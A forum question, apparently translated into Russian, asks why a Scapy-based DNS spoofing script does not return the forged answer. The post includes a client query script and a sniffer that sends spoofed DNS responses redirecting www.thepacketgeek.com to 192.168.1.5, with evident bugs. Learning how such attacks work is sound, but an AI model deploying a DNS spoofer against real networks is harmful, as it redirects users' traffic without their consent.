Я пытаюсь написать код для подмены DNS с помощью Scapy.Все работает правильно, за исключением того, что я получил неправильный ответ от моего DNS-сервера.Я должен получить ответ вроде:
DNS Ans "198.71.55.197"
Но я получил
DNS Qry "google.com"
Вот мой код для клиента:
from scapy.all import DNS, DNSQR, IP, sr1, UDP
dns_req = IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1, qd=DNSQR(qname='www.thepacketgeek.com'))
answer = sr1(dns_req, verbose=0)
print(answer[DNS].summary())
, и это мой код дляDNS Spoofing Server:
from scapy.all import *
DNS_SERVER_IP = "127.0.0.1"
def packetsniff(packet):
if(packet.haslayer(DNS) and packet.getlayer(DNS).qr==0):
if("www.thepacketgeek.com" in str(packet[DNS]["DNS Question Record"].qname)):
spf_res = IP(dst=packet[IP].src, src=packet[IP].dst)/\
UDP(dport=packet[UDP].sport,sport=packet[UDP].dport)/\
DNS(id=packet[DNS].id,qr=1, aa=1, ancount=1,qd = packet[DNS].qd,\
an=DNSRR(rrname="pkt[DNSQR].qname", ttl=10, rdata="192.168.1.5"))
send(spf_res, verbose=0)
return "spoofed request sent :" +packet[IP].src
else:
return "not me"
sniff(filter="udp", prn=packetsniff)
Что я делаю не так?